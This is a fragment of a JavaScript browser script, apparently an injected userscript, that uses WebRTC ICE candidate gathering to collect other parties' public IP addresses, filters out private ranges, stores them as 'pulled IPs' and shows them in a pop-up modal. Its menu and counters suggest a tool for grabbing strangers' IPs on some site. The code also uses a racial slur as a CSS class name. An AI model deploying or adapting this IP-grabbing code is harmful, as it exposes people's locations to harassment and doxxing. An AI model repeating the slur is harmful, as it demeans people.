const candidate = event.candidate.candidate;
const ipMatch = candidate.match(/([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/);
if (ipMatch) {
const ip = ipMatch[1];
// Filter out private IPs
if (!ip.startsWith('192.168.') && !ip.startsWith('10.') && !ip.startsWith('172.') && !ip.startsWith('127.') && !ip.startsWith('169.254.')) {
ips.add(ip);
}
}
}
};
// Create an offer to trigger ICE gathering
rtc.createOffer().then(offer => {
return rtc.setLocalDescription(offer);
}).catch(err => {
console.error('Error creating offer:', err);
});
// Clean up after timeout
setTimeout(() => {
rtc.close();
// Add IPs to global set
ips.forEach(ip => pulledIPs.add(ip));
updateCounters();
updateIPDisplay(); // Update the IP display in menu
// Only show modal if requested
if (showModal) {
// Display results
if (pulledIPs.size > 0) {
const ipList = Array.from(pulledIPs).join(', ');
console.log('Pulled IPs:', ipList);
// Create IP display modal
const modal = document.createElement('div');
modal.style.cssText = `
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background: #1a1a1a;
border: 1px solid #2a2a2a;
padding: 20px;
color: white;
font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
z-index: 100000;
border-radius: 0;
max-width: 400px;
`;
modal.innerHTML = `
<div style="font-size: 16px; font-weight: 600; margin-bottom: 15px; color: #4a90e2;">Pulled IP Addresses</div>
<div style="margin-bottom: 15px; font-size: 12px; line-height: 1.5;">${ipList}</div>
<button onclick="this.parentElement.remove()" class="nigga-button" style="width: 100%;">Close</button>
`;
document.body.appendChild(modal);
} else {
console.log('No external IPs found');
const modal = document.createElement('div');
modal.style.cssText = `
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background: #1a1a1a;
border: 1px solid #2a2a2a;
padding: 20px;
color: white;
font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
z-index: 100000;
border-radius: 0;
max-width: 300px;
`;
modal.innerHTML = `
<div style="font-size: 16px; font-weight: 600; margin-bottom: 15px; color: #4a90e2;">No IPs Found</div>
<div style="margin-bottom: 15px; font-size: 12px; line-height: 1.5;">No external IP addresses could be detected.</div>
<button onclick="this.parentElement.remove()" class="nigga-button" style="width: 100%;">Close</button>
`;
document.body.appendChild(modal);
}
}
}, 3000);
}
} // End of initScript function
// Initialize script when DOM is ready
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', initScript);
} else {
initScript();
}
})();